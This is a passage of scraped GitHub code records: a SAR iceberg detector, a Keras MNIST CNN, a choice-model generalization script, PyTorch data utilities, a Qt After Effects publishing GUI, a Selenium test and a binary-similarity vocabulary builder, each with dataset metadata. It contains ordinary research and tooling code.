Geosci. Remote Sens., vol. 54, no. 9, pp. 5602-5615, 2016, doi: 10.1109/TGRS.2016.2569450.\n\n The test and training window are 3x3, 57x57 pixels respectively\n\n Parameters:\n ----------\n image : numpy.ndarray(float32) (2,X,Y)\n SAR image in linear intensity format\n mask : numpy.ndarray(bool) (X,Y)\n Mask for the image.\n\n Returns:\n ----------\n transform : numpy.ndarray(float32) (X,Y)\n DPolRad Transform\n \"\"\"\n\n HV_target = test_window(image[1, ...], mask) # test window\n HV_clutter = train_window(image[1, ...], mask) # train window\n HH_clutter = train_window(image[0, ...], mask) # train window\n\n HH_clutter = np.where(HH_clutter == 0, np.nan, HH_clutter) # dont divide by 0\n transform = (HV_target - HV_clutter) / (HH_clutter)\n\n return transform\n\ndef detector(image, mask=0, pfa=1e-12):\n \"\"\"\n HV Intensity Dual-Pol Ratio Anomaly Detector (IDPolRAD)\n\n The detector is based on the transform suggested in the paper:\n A. Marino, W. Dierking, and C. Wesche,\n “A Depolarization Ratio Anomaly Detector to Identify Icebergs in Sea Ice Using Dual-Polarization SAR Images,”\n IEEE Trans. Geosci. Remote Sens., vol. 54, no. 9, pp. 5602-5615, 2016, doi: 10.1109/TGRS.2016.2569450.\n\n Outliers are detected in the transform using the method outlined in this paper:\n I. H. Soldal, W. Dierking, A. A. Korosov, and A. Marino,\n “Automatic detection of small icebergs in fast ice using satellite Wide-Swath SAR images,”\n Remote Sens., vol. 11, no. 7, pp. 1-24, 2019, doi: 10.3390/rs11070806.\n\n Specifically, we are applying a global CFAR detector based on the generalized gamma pdf (Table 10 in Soldal)\n\n Parameters:\n ----------\n image : numpy.ndarray(float32) (2,X,Y)\n SAR image in linear intensity format\n mask : numpy.ndarray(bool) (X,Y)\n Mask for the image.\n pfa : float\n Probability of false alarm. Should be somewhere between 0-1\n\n Returns:\n ----------\n outliers : numpy.ndarray(bool) (X,Y)\n Binary outlier classification\n \"\"\"\n\n # if no mask is given, assume all pixels are valid\n if np.all(mask == 0):\n mask = np.ones_like(image[0, ...]) > 0\n\n # check datatypes are correct\n if (not isinstance(image, np.ndarray)) | (image.dtype != np.float32):\n raise TypeError(f'Input image must be of type np.ndarray(float32) but is of type {type(image)}, {image.dtype}')\n if (not isinstance(mask, np.ndarray)) | (mask.dtype != np.bool):\n raise TypeError(f'Input mask must be of type np.ndarray(bool) but is of type {type(mask)}, {mask.dtype}')\n\n # check if shapes are correct\n if (len(image.shape) != 3) or (image.shape[0] != 2):\n raise ValueError(f'Input image must be of shape [2, X, Y] but is of shape {image.shape}')\n if image.shape[1:] != mask.shape:\n raise ValueError((f'Shape of mask must match shape of image. \\\n Mask shape: {mask.shape}. Image shape {image.shape[1:]}'))\n\n # check if the image format\n if smells_like(image) != 'intensity':\n warnings.warn(f'Input image should be in intensity scale. Image smells like {smells_like(image)}',\n category=UserWarning)\n\n # calculate the dpolrad transform\n dpolrad = transform(image, mask=mask)\n # multiply with HV to get contrast enhancement\n idpolrad = image[1, ...] * dpolrad\n # if dpolrad is negative, Idpolrad is set to zero (A. Marino Sec. IV C)\n idpolrad = np.where(dpolrad < 0, 0, idpolrad)\n # if nan set to zero also\n idpolrad = np.where(np.isnan(idpolrad), 0, idpolrad)\n\n # estimate the parameters for the generalized gamma distribution\n # exclude values smaller than 50 x mean and larger than 0\n # using all samples is very slow - so we estimate the parameters based on a random subset\n N = 10000\n np.random.seed(0) # seed random state so same pixels are used each time\n samples = np.random.choice(idpolrad[np.where((idpolrad < 50 * np.mean(idpolrad)) & (idpolrad > 0))], N)\n gengamma_params = scipy.stats.gengamma.fit(samples)\n\n # calculate the threshold corresponding to the desired PFA\n pde = 1 - pfa\n init = 10 * np.mean(idpolrad) # initial guess of the algorithm\n T = scipy.optimize.fmin(_gengamma_minimize, init, disp=False, args=(gengamma_params, pde), ftol=1e-21)[0]\n\n outliers = (idpolrad > T)\n\n return outliers\n","repo_name":"LaustFaerch/cfar-object-detection","sub_path":"cfar_filters/dpolrad.py","file_name":"dpolrad.py","file_ext":"py","file_size_in_byte":4990,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"70"} +{"seq_id":"74794302945","text":"from keras.datasets import mnist\nfrom keras.optimizers import SGD\n\nfrom kerasHelper import convertToCat\nfrom kerasHelper import saveModel\n\n(x_train, y_train), (x_test, y_test) = mnist.load_data()\nx_train = x_train.reshape(x_train.shape[0], 28, 28, 1)\nx_test = x_test.reshape(x_test.shape[0], 28, 28, 1)\ny_train, y_test = convertToCat(y_train,y_test,nbCat=10)\ninput_shape = (28, 28, 1)\n\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Flatten, Activation\nfrom keras.layers import Conv2D, MaxPooling2D\n###implement alex net :\n#Une couche de convolution avec 32 filtres de taille 5×5\n# suivie d’une non linéarité de type sigmoïde\n# puis d’une couche de max pooling de taille 2×2.\nmodel = Sequential()\nmodel.add(Conv2D(32,kernel_size=(5, 5),activation='sigmoid',input_shape=(28, 28, 1),padding='same'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\n\n#Une seconde couche de convolution avec 64 filtres de taille 5×5,\n# suivie d’une non linéarité de type sigmoïde\n# puis d’une couche de max pooling de taille 2×2.\nmodel.add(Conv2D(64,kernel_size=(5, 5),activation='sigmoid',padding='same'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\n#on vectorise\nmodel.add(Flatten())\nmodel.add(Dense(100, name='fc1',activation='sigmoid'))\nmodel.add(Dense(10, name='fc2',activation='softmax'))\nprint(model.summary())\nmodel.compile(loss='categorical_crossentropy', optimizer=SGD(.5), metrics=['accuracy'])\n#training\nmodel.fit(x_train, y_train,batch_size=3000, epochs=1,verbose=1)\n#score\nscores = model.evaluate(x_test, y_test, verbose=0)\nprint(\"%s: %.2f%%\" % (model.metrics_names[0], scores[0]*100))\nprint(\"%s: %.2f%%\" % (model.metrics_names[1], scores[1]*100))\nsaveModel(model,\"cnn\")\n\n","repo_name":"jeorme/RCP209","sub_path":"cnnKeras.py","file_name":"cnnKeras.py","file_ext":"py","file_size_in_byte":1696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"6327917602","text":"#############################\r\n# FILE generalization.py\r\n# Reads a transaction dataset, a features data set and a GDT trained choice model\r\n# Returns the generalized choice model with regard to those features\r\n# \r\n# Returns a dataset choice_model_gen_####.py on all the products\r\n# \r\nprint(\"################################# File generalization.py #################################\")\r\nprint(\"Generalization of the choice model to new products\")\r\n#\r\n#############################\r\nimport sys\r\n\r\n\r\n#############################\r\n# Declarations of parameters \r\n# The user should only modify the parameters in this section\r\n\r\ntry:\r\n data_version = sys.argv[1]#the data version #### in the name of the file transaction_data_####.dat\r\nexcept:\r\n print(\"Error; wrong input parameter, which data version id do you wish to generate?\")\r\n\r\n# End of the declarations of parameters\r\n#############################\r\n\r\n\r\n\r\n#############################\r\n# Preliminary definitions & imports\r\nimport os\r\nimport numpy as np\r\nfrom random import randint\r\nimport pickle\r\nimport time\r\nimport lib.generalization_GDT as generalization_GDT\r\n\r\nfilename_transaction = 'transaction_data_' +data_version+'.dat'\r\nfilename_features = 'features_data_' +data_version+'.dat'\r\nfilename_choice_model_GDT = 'choice_model_GDT_' +data_version+'.dat'\r\nfilename_choice_model_gen = 'choice_model_gen_' +data_version+'.dat'\r\n\r\n#ensures that the path is correct for data file\r\nscript_dir = os.path.dirname(__file__) #absolute dir the script is in\r\n\r\nrel_path_transaction = \"data/\"+filename_transaction\r\nabs_file_transaction = os.path.join(script_dir, rel_path_transaction)\r\n\r\nrel_path_features = \"data/\"+filename_features\r\nabs_file_features = os.path.join(script_dir, rel_path_features)\r\n\r\nrel_path_choice_model_GDT = \"data/\"+filename_choice_model_GDT\r\nabs_file_choice_model_GDT = os.path.join(script_dir, rel_path_choice_model_GDT)\r\n\r\nrel_path_choice_model_gen = \"data/\"+filename_choice_model_gen\r\nabs_file_choice_model_gen = os.path.join(script_dir, rel_path_choice_model_gen)\r\n# End of the preliminary definitions & imports\r\n#############################\r\n\r\n\r\n\r\n#############################\r\n# Importation of the data\r\n\r\nwith open(abs_file_transaction, 'rb') as sales:\r\n my_depickler = pickle.Unpickler(sales)\r\n Proba_product_train = my_depickler.load()\r\n Inventories_train = my_depickler.load()\r\n Proba_product_test = my_depickler.load()\r\n Inventories_test = my_depickler.load()\r\n Revenue = my_depickler.load()\r\n u = my_depickler.load()\r\n p = my_depickler.load()\r\n\r\nwith open(abs_file_features, 'rb') as sales:\r\n my_depickler = pickle.Unpickler(sales)\r\n features_new = my_depickler.load()\r\n features_old = my_depickler.load()\r\n\r\n\r\nprint(\"Opening choice model, format GDT\")\r\nwith open(abs_file_choice_model_GDT, 'rb') as sales:\r\n my_depickler = pickle.Unpickler(sales)\r\n sigma_GDT_sorted = my_depickler.load()\r\n lambda_GDT_sorted = my_depickler.load()\r\n\r\n#(nb_prod, nb_asst) = Inventories_train.shape\r\n# End of the importation\r\n#############################\r\n\r\n\r\n\r\n#############################\r\n# Generalization of the GDT choice model\r\n[sigma_gen, lambda_gen] = generalization_GDT.run_generalization(sigma_GDT_sorted, lambda_GDT_sorted, features_old, features_new, restriction=0.1, alpha=0.5)\r\n# End of generalization\r\n#############################\r\n\r\nprint(sigma_gen)\r\nprint(sigma_GDT_sorted)\r\n\r\n#############################\r\n# Saving the data in filename_choice_model_gen\r\nwith open(abs_file_choice_model_gen, 'wb') as sales:\r\n my_pickler = pickle.Pickler(sales,protocol=2)\r\n my_pickler.dump(sigma_gen)\r\n my_pickler.dump(lambda_gen)\r\n\r\nprint(\"Generalization to new products completed\")\r\nprint(\"generalized choice model file has been saved in /sample/data/.\")\r\nprint(\"#######################################################################################\")\r\n# Data saved\r\n#############################","repo_name":"hugopalmer/assortment_optimization","sub_path":"sample/generalization.py","file_name":"generalization.py","file_ext":"py","file_size_in_byte":4060,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"70"} +{"seq_id":"9432640127","text":"from typing import List, Tuple, Dict, Union, Optional, Callable, Iterable\n\nimport cv2\nimport numpy as np\nfrom numpy.random import RandomState\nimport torch\nfrom torch import Tensor\nfrom torch.utils.data import random_split\nfrom torch.utils.data._utils.collate import default_collate\nfrom torchvision.transforms import Compose, ToTensor\nimport xarray as xr\nimport math\n\nArray = Union[Tensor, np.ndarray, xr.DataArray]\n\n\nclass Sampler2d:\n \"\"\"\n Generator for a 2D probability sampler.\n \"\"\"\n def __init__(\n self,\n p : np.ndarray,\n n : int,\n random_state : Optional[RandomState] = None,\n ) -> None:\n \"\"\"\n Random sampler from a 2D probability array.\n\n Args:\n p (np.ndarray): 2D probability array.\n n (int) : number of samples.\n random_state (RandomState, optional): initial RNG state.\n \"\"\"\n\n if p.sum() == 0:\n p[:] = 1 / p.size\n else:\n p = p / p.sum()\n\n self.n = n\n yx = np.array(np.meshgrid(*(range(s) for s in p.shape))).reshape(2, -1)\n rng = random_state or RandomState(seed=1337)\n idx = rng.choice(range(p.size), size=n, p=p.flatten(order='F'))\n self.yi, self.xi = yx[:, idx]\n self.yi, self.xi = list(self.yi), list(self.xi)\n\n def __call__(self):\n for i in range(self.n):\n yield self.yi[i], self.xi[i]\n\n\ndef dilate(x : np.ndarray, iterations : int) -> np.ndarray:\n \"\"\" Dilate binary mask. \"\"\"\n shape, type_ = x.shape, x.dtype\n H, W = shape[-2:]\n K = np.ones((3, 3), dtype=np.uint8) # Kernel\n x = x.astype(np.uint8).reshape(-1, H, W).transpose(1, 2, 0)\n x = cv2.dilate(x, K, iterations=iterations).reshape(H, W, -1)\n return x.transpose(2, 0, 1).reshape(*shape).astype(type_)\n\n\ndef scale_window(\n window : Union[Tuple[slice, slice], Tuple[int, int]],\n s : Tuple[float, float],\n force_size : Optional[int] = None,\n) -> Tuple[slice, slice]:\n \"\"\"\n Rescale window by a factor of `s`.\n \"\"\"\n\n if not (isinstance(s, tuple) and len(s) == 2):\n raise TypeError(f'Expected types for scaling factor: float, or (float, float). Got {s}.')\n\n if isinstance(window, tuple) and len(window) == 2:\n x_slice, y_slice = window\n \n if isinstance(x_slice, slice) and isinstance(y_slice, slice):\n l, r, t, b = x_slice.start, x_slice.stop, y_slice.start, y_slice.stop\n l2, r2 = [int(s[0] * x) if x is not None else None for x in (l, r)]\n t2, b2 = [int(s[1] * y) if y is not None else None for y in (t, b)]\n if force_size is not None:\n r2 = l2 + force_size if l2 else force_size\n b2 = t2 + force_size if t2 else force_size\n return (slice(l2, r2), slice(t2, b2))\n\n elif isinstance(x_slice, int) and isinstance(y_slice, int):\n return tuple([int(s[i] * w) if w else None for i, w in enumerate(window)])\n\n raise TypeError(f'window expected type: (slice, slice) or (int, int). Got {window}.')\n\n\ndef train_val_test_partition(\n x : list,\n split : Tuple[float, float, float],\n seed : int = 1337,\n) -> dict:\n \"\"\"\n Partition `x` into training, validation, test sets.\n\n Args:\n x (list): a list of unique elements.\n split ((float, float, float): tuple of splitting proportions.\n Must sum to one.\n seed (int, optional): random seed.\n\n Returns:\n A dictionary that maps a each unique element in x to 'train',\n 'val' or 'test'.\n \"\"\"\n\n if len(set(x)) != len(x): raise ValueError('x must contain unique values.')\n if sum(split) != 1: raise ValueError('split values must sum to one.')\n lengths = [round(len(x) * s) for s in split]\n lengths[0] -= sum(lengths) - len(x)\n parts = random_split(x, lengths=lengths, generator=torch.Generator().manual_seed(42))\n return {elem : class_\n for part, class_ in zip(parts, ('train', 'val', 'test'))\n for elem in part}\n\n\ndef rand_index_exponential(\n x : Union[np.ndarray, List[float]],\n n : Optional[int] = None,\n beta : float = 50.0,\n replace : bool = True,\n random_state : Optional[RandomState] = None,\n) -> np.ndarray:\n \"\"\"\n Samples `n` indices with probability exponentially proportional to `x`.\n\n Args:\n x (numpy.ndarray): Exponential proportionality values.\n n (int, optional): Number of samples.\n beta (float, optional): Inverse-temperature parameter of the exponential\n distribution.\n beta = 1e-3 practically amounts to uniform sampling.\n beta = 1e6 practically amounts to the argmax.\n random_state (RandomState, optional): NumPy random number generator.\n\n Returns:\n (numpy.ndarray): Sampled indices.\n \"\"\"\n\n if len(x) == 0: return []\n x = np.array(x)\n rng = random_state or RandomState(seed=1337)\n e = np.exp(beta * x / (x.max() + 1e-5))\n p = e / e.sum()\n idx = range(len(p))\n\n return rng.choice(idx, size=n, p=p, replace=replace)\n\n\n\nclass Clamp:\n \"\"\"\n Transform for torch.clamp.\n \"\"\"\n def __init__(self, min : float, max : float) -> None:\n self.min, self.max = min, max\n def __call__(self, x : Tensor) -> Tensor:\n return torch.clamp(x, min=self.min, max=self.max)\n\n\n\nclass ToTensor2(ToTensor):\n \"\"\"\n ToTensor wrapper that expects (C, H, W) and outputs (C, H, W).\n \"\"\"\n def __init__(self, normalize : bool = True) -> None:\n self.normalize = normalize\n def __call__(self, x : Union[np.ndarray, xr.DataArray]) -> Tensor:\n if isinstance(x, xr.DataArray):\n x = x.values.copy()\n ## ToTensor expect PIL-like dimension order (H x W x C).\n if not self.normalize:\n x = x.astype(np.int32)\n return super().__call__(x.transpose(1, 2, 0)) # (C, H, W) -> (H, W, C)\n\n\n\nclass Compose4d(Compose):\n \"\"\"\n Compose :class:`~torchvision.transforms` for a batch of images.\n \"\"\"\n def __call__(self, x : Array) -> Array:\n assert x[0].ndim == 3\n return self._transform4d(super().__call__, x)\n\n def _transform4d(self, t : Callable, x : List[Array]) -> Array:\n \"\"\" List of 3D --> 4D \"\"\"\n x = [t(img) for img in x]\n dtype, cls = x[0].dtype, type(x[0])\n ## Stack method is type-dependent.\n if cls is np.ndarray: return np.array(x, dtype=dtype)\n elif cls is Tensor: return torch.stack(x).to(dtype)\n elif cls is xr.DataArray: return xr.concat(x, dim='t').astype(dtype)\n else: raise TypeError(f\"Unsupported type {cls}.\")\n\n\n\nclass PadCollate:\n \"\"\"\n A variant of collate_fn that pads according to the longest sequence in a batch of sequences.\n\n Based on\n - https://discuss.pytorch.org/t/dataloader-for-various-length-of-data/6418/8\n - https://github.com/pytorch/pytorch/blob/master/torch/utils/data/_utils/collate.py\n \"\"\"\n\n def __init__(self, dim : Union[int, Tuple[int, ...]] = 0, powerOf2 : bool = False):\n \"\"\"\n Args:\n dim (int): the dimension to be padded (dimension of time in sequences).\n powerOf2 (bool): pad to the least upper bound to the len of the longest sequence that is a power of 2.\n \"\"\"\n self.dim = [dim] if isinstance(dim, (int, np.int64, np.int32)) else list(dim)\n self.powerOf2 = powerOf2\n\n def _pad_tensor(\n self,\n vec : Tensor,\n pad : Union[int, List[int]],\n dim : Union[int, List[int]],\n ) -> Tensor:\n \"\"\"\n Args:\n vec (Tensor): tensor to pad.\n pad (int, list(int)): the size to pad to. Must be the same size as `dim`.\n dim (int, list(int)): dimensions to pad. Must be the same size as `pad`.\n\n Returns:\n A new tensor padded to `pad` in dimension `dim`.\n \"\"\"\n dim = [dim] if isinstance(dim, (int, np.int64, np.int32)) else list(dim)\n pad = [pad] if isinstance(pad, (int, np.int64, np.int32)) else list(pad)\n assert len(dim) == len(pad)\n for d, p in zip(dim, pad):\n pad_size = list(vec.shape)\n pad_size[d] = p - vec.shape[d]\n vec = torch.cat([vec, torch.zeros(*pad_size)], dim=d)\n return vec\n\n\n def pad_collate(\n self,\n batch : List[Tensor],\n dim : Optional[Union[int, List[int]]] = None,\n ) -> Tensor:\n \"\"\"\n Args:\n batch (list): list of tensors.\n dim (int, list(int)): dimensions to pad. Overrides `self.dim`.\n\n Returns:\n A 5D tensor (B, T, C, H, W), with padded 4D tensors from `batch`.\n \"\"\"\n dim = self.dim if dim is None else dim\n dim = [dim] if isinstance(dim, (int, np.int64, np.int32)) else list(dim)\n ## Find longest sequence in either dimension.\n max_len = np.array([x.shape for x in batch], dtype=int).max(axis=0)\n ## Get max len power of 2 for dim 0\n if self.powerOf2:\n max_len[0] = calculateNextPowerOf2(max_len[0])\n ## Pad according to max_len.\n batch = [self._pad_tensor(x, pad=max_len[dim], dim=dim) for x in batch]\n ## Stack all.\n return torch.stack(batch, dim=0)\n\n\n def __call__(self, batch : List[Dict]) -> Dict:\n images = self.pad_collate([x['images'] for x in batch], dim=(0, 2, 3))\n num_revisits = [int(x['images'].shape[0]) for x in batch]\n max_revisits = images.shape[1]\n revisits_indicator = np.zeros((len(num_revisits),max_revisits))\n for i, r in enumerate(num_revisits):\n revisits_indicator[i, :r] = 1\n item = {\n ## Pad images and clouds on time, y, x dimension.\n 'images': images,\n 'clouds': self.pad_collate([x['clouds'] for x in batch], dim=(0, 2, 3)),\n 'clearances': self.pad_collate([x['clearances'] for x in batch], dim=0),\n 'scene': [x['scene'] for x in batch],\n 'revisits_indicator': torch.from_numpy(revisits_indicator.copy()), # Useful for masking\n }\n\n if 'labels' in batch[0]:\n labels = self.pad_collate([x['labels'] for x in batch], dim=(0, 2, 3))\n item.update({'labels':labels})\n\n return item\n\n\n\nclass ConcatPadCollate:\n def __call__(self, batch : List[Dict[str, Dict]]) -> Dict:\n collate_fn = PadCollate()\n elem = batch[0]\n return {key: collate_fn([x[key] for x in batch]) for key in elem}\n\n\n\nclass ConcatPadPTwoCollate:\n def __call__(self, batch : List[Dict[str, Dict]]) -> Dict:\n collate_fn = PadCollate(powerOf2=True)\n elem = batch[0]\n return {key: collate_fn([x[key] for x in batch]) for key in elem} \n\n\ndef calculateNextPowerOf2(num : int) -> int:\n \"\"\"\n Args:\n num: int, number\n Returns:\n next power of 2: int, next power of 2\n \"\"\"\n nextpowerof2 = math.ceil(math.log(num,2))\n powerof2 = int(math.pow(2, nextpowerof2))\n return powerof2\n","repo_name":"ESA-PhiLab/RobustMFSRforEO","sub_path":"src/datautils.py","file_name":"datautils.py","file_ext":"py","file_size_in_byte":10934,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"70"} +{"seq_id":"35487692294","text":"# -*- coding: utf-8 -*-\n# author:yangtao\n# time: 2021/06/10\n\n\nimport sys\nimport os\n\nimport qdarkstyle\nfrom Qt import QtWidgets\nfrom Qt import QtCore\nfrom Qt import QtGui\n\n\nRES_DIRECTORY = os.path.join(os.path.dirname(__file__), \"res\")\n\n\nclass DropLineEdit(QtWidgets.QLineEdit):\n def __init__(self):\n super(DropLineEdit, self).__init__()\n self.setAcceptDrops(True)\n self.setDragEnabled(True)\n\n def dragEnterEvent(self, event):\n if event.mimeData().hasUrls():\n event.acceptProposedAction()\n else:\n super(DropLineEdit, self).dragEnterEvent(event)\n\n def dropEvent(self, event):\n if event.mimeData().hasUrls():\n url_object = event.mimeData().urls()[0]\n self.setText(url_object.toLocalFile())\n else:\n super(DropLineEdit, self).dropEvent(event)\n\n\nclass FormDialog(QtWidgets.QDialog):\n def __init__(self, parent=None, title=None, message=None, text=None):\n super(FormDialog, self).__init__(parent)\n self.title = title\n self.message = message\n self.text = text\n\n self.input_value = \"\"\n\n self.__setup_ui()\n self.__retranslate_ui()\n self.__setup_connect()\n\n def __setup_ui(self):\n self.message_label = QtWidgets.QLabel()\n self.edit = DropLineEdit()\n self.button = QtWidgets.QPushButton()\n\n layout = QtWidgets.QVBoxLayout()\n if self.message:\n layout.addWidget(self.message_label)\n if self.text:\n self.edit.setText(self.text)\n\n layout.addWidget(self.edit)\n layout.addWidget(self.button)\n\n self.setLayout(layout)\n\n def __retranslate_ui(self):\n if self.message:\n self.message_label.setText(self.message)\n if self.title:\n self.setWindowTitle(self.title)\n self.setMinimumWidth(220)\n self.button.setText(u\"确定\")\n\n def __setup_connect(self):\n self.button.clicked.connect(self.save_value)\n #self.edit.editingFinished.connect(self.button.clicked.emit)\n\n def save_value(self):\n self.input_value = self.edit.text()\n self.close()\n\n def get_value(self):\n return self.input_value\n\n\nclass InfoDialog(QtWidgets.QDialog):\n def __init__(self, parent=None):\n super(InfoDialog, self).__init__(parent)\n\n self.status_value = False\n\n self.__setup_ui()\n self.__retranslate_ui()\n self.__set_connect()\n\n def __setup_ui(self):\n self.main_window = QtWidgets.QVBoxLayout(self)\n\n # 信息框\n self.info_textedit = QtWidgets.QTextEdit()\n\n self.buttton_layout = QtWidgets.QHBoxLayout()\n # 确认按钮\n self.confirm_button = QtWidgets.QPushButton()\n # 取消按钮\n self.cancel_button = QtWidgets.QPushButton()\n self.buttton_layout.addWidget(self.confirm_button)\n self.buttton_layout.addWidget(self.cancel_button)\n\n self.main_window.addWidget(self.info_textedit)\n self.main_window.addLayout(self.buttton_layout)\n\n def __retranslate_ui(self):\n self.confirm_button.setText(u\"确定\")\n self.cancel_button.setText(u\"取消\")\n\n def __set_connect(self):\n self.confirm_button.clicked.connect(self.confirm_info)\n self.cancel_button.clicked.connect(self.cancel_info)\n\n def show_info(self, title=\"\", content=\"\"):\n # 设置标题\n self.setWindowTitle(title)\n # 设置显示的内容\n self.info_textedit.setText(content)\n #self.show()\n\n def get_value(self):\n return self.status_value\n\n def confirm_info(self):\n self.status_value = True\n self.close()\n\n def cancel_info(self):\n self.status_value = False\n self.close()\n\n\nclass MainUI(QtWidgets.QWidget):\n def __init__(self):\n super(MainUI, self).__init__()\n self.settings = QtCore.QSettings(u\"hz_soft\", u\"ae_publish_tool\") # 保存设置类\n #self.settings.clear()\n\n self.__setup_ui()\n self.__retranslate_ui()\n\n def __setup_ui(self):\n self.name_space_layout = QtWidgets.QVBoxLayout(self)\n self.set_afterfx_button = QtWidgets.QPushButton()\n self.render_queue_listwidget = QtWidgets.QListWidget()\n self.refresh_button = QtWidgets.QPushButton()\n\n self.button_layout = QtWidgets.QHBoxLayout()\n self.daily_button = QtWidgets.QPushButton()\n self.publish_button = QtWidgets.QPushButton()\n self.button_layout.addWidget(self.daily_button)\n self.button_layout.addWidget(self.publish_button)\n\n self.name_space_layout.addWidget(self.set_afterfx_button)\n self.name_space_layout.addWidget(self.render_queue_listwidget)\n self.name_space_layout.addWidget(self.refresh_button)\n self.name_space_layout.addLayout(self.button_layout)\n\n def __retranslate_ui(self):\n app_icon = QtGui.QIcon(os.path.join(RES_DIRECTORY, \"app_logo.png\"))\n self.setWindowIcon(app_icon)\n # 设置窗口大小\n try:\n self.restoreGeometry(self.settings.value(u\"mainwindow_geo\"))\n except:\n pass\n\n self.setWindowTitle(u\"AE提交工具\")\n self.set_afterfx_button.setText(u\"未设置AE版本\")\n self.refresh_button.setText(u\"刷新\")\n self.daily_button.setText(u\"输出小样\")\n self.daily_button.setMinimumHeight(30)\n self.daily_button.setStyleSheet(\":hover{background-color: DarkSlateBlue; color:White }\")\n self.publish_button.setText(u\"输出大样\")\n self.publish_button.setMinimumHeight(30)\n self.publish_button.setStyleSheet(\":hover{background-color: DarkMagenta; color:White }\")\n\n def show_critical_dialog(self, content):\n QtWidgets.QMessageBox(QtWidgets.QMessageBox.Critical, u\"错误\", content).exec_()\n raise\n\n def show_warning_dialog(self, content):\n QtWidgets.QMessageBox(QtWidgets.QMessageBox.Warning, u\"警告\", content).exec_()\n\n def show_form_dialog(self, title, message=None, text=None):\n form_dialog = FormDialog(self, title=title, message=message, text=text)\n form_dialog.exec_()\n return form_dialog.get_value()\n\n def show_info_dialog(self, title=\"\", message=\"\"):\n info_dialog = InfoDialog(self)\n info_dialog.show_info(title, message)\n info_dialog.exec_()\n return info_dialog.get_value()\n\n def ae_form_dialog(self, text=\"\"):\n return self.show_form_dialog(title=u\"设置AE路径\", text=text)\n\n def add_render_item(self, item_str):\n self.render_queue_listwidget.addItem(item_str)\n self.render_queue_listwidget.scrollToBottom()\n\n def set_button_enabled(self, status):\n self.refresh_button.setEnabled(status)\n self.daily_button.setEnabled(status)\n self.publish_button.setEnabled(status)\n\n def closeEvent(self, event):\n self.settings.setValue(\"mainwindow_geo\", self.saveGeometry())\n\n","repo_name":"Tody190/ae_publish_tool","sub_path":"ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":6938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"22364893291","text":"from test_cases.base_tests import BaseTest\n\n\nclass CreateAccount(BaseTest):\n def setUp(self):\n super().setUp()\n self.base_selenium.get_url()\n\n def test01_signup_with_used_acc(self):\n \"\"\"\n TEST01: Check whether first link in google search is what i'm search for.\n 1- Write http://google.com\n 2- Write leetcode in google search bar\n 3- Navigate through fist link of results\n 4- Click sign up btn\n 5- Fill form with an existing username\n 6- Verify that page url doesn't change\n \"\"\"\n self.search_page.search_for_word(self.base_selenium.txt_2)\n self.base_selenium.click(element='search:first_link')\n self.base_selenium.click(element='account:btn')\n url1 = self.base_selenium.get_current_url()\n self.create_account.fill_form()\n url2 = self.base_selenium.get_current_url()\n self.base_selenium.LOGGER.info('fail to login.')\n self.assertEqual(url1, url2)\n","repo_name":"omnia353/google_search","sub_path":"test_cases/test02_account.py","file_name":"test02_account.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"18222613334","text":"################################################################\n# Practical Binary Code Similarity Detection #\n# with BERT-based Transferable Similarity Learning #\n# (In the 38th Annual Computer Security #\n# Applications Conference (ACSAC) #\n# #\n# Author: Sunwoo Ahn #\n# Dept. of Electrical and Computer Engineering #\n# @ Seoul National University #\n# Hyungjoon Koo #\n# Dept. of Computer Science and Engineering #\n# @ Sungkyunkwan University #\n# #\n# This file can be distributed under the MIT License. #\n# See the LICENSE file for details. #\n################################################################\n\nimport pickle,sys,os\n\nclass WordVocab(object):\n def __init__(self, voca_list):\n super(WordVocab, self).__init__()\n self.pad_index = 0\n self.unk_index = 1\n self.eos_index = 2\n self.sos_index = 3\n self.mask_index = 4\n self.voca_list = voca_list\n self.special_symbol_idx = {\n '': self.pad_index,\n '': self.unk_index,\n '': self.eos_index,\n '': self.sos_index,\n '': self.mask_index\n }\n\n for voca in self.voca_list:\n if voca not in self.special_symbol_idx:\n self.special_symbol_idx[voca] = len(self.special_symbol_idx)\n\n self.idx_special_sym = dict((idx, char) for char, idx in self.special_symbol_idx.items())\n print('vocab size: %d' %self.vocab_size)\n\n def voca_idx(self, vocas):\n if isinstance(vocas, list):\n return [self.special_symbol_idx.get(voca, self.unk_index) \\\n for voca in vocas]\n else:\n return self.special_symbol_idx.get(vocas, self.unk_index)\n\n def idx_voca(self, idxs):\n if isinstance(idxs, list):\n return [self.idx_special_sym.get(i) for i in idxs]\n else:\n return self.idx_special_sym.get(idxs)\n\n @property\n def vocab_size(self):\n return len(self.special_symbol_idx)\n\n def save_vocab(self, vocab_path):\n with open(vocab_path, \"wb\") as f:\n pickle.dump(self, f)\n\n @staticmethod\n def load_vocab(vocab_path: str) -> 'WordVocab':\n with open(vocab_path, \"rb\") as f:\n return pickle.load(f)\n\ndef build_voca(voca_fp, out_fp):\n pad = ''\n unk = ''\n eos = ''\n sos = ''\n mask = ''\n\n instructions = []\n with open(voca_fp, 'r') as f:\n for line in f.readlines():\n word = line.split(',')[0].strip()\n instructions.append(word)\n\n vocas = [pad, unk, eos, sos, mask] + instructions\n\n wv = WordVocab(vocas)\n wv.save_vocab(out_fp)\n print(\"[+] Saved all %d (normalized) instructions\"\n \" as a full vocabulary set into %s\" \\\n % (wv.vocab_size, out_fp))\n\n\nif __name__ == '__main__':\n f = sys.argv[1]\n out_f = f[:-4]\n build_voca(f, out_f)\n\n","repo_name":"asw0316/binshot","sub_path":"voca.py","file_name":"voca.py","file_ext":"py","file_size_in_byte":3400,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"70"} +{"seq_id":"10524758607","text":"# 만약 나중에 같은 packet_ROI를 연속으로 여러번 보내는게 문제가 된다면\n# ActiveROI를 큐로 만들고 각각의 원소를 크기순으로 정렬을 한 다음에\n# packet_ROI에 담고서 보내고\n# pre_packet_ROI에 저장한 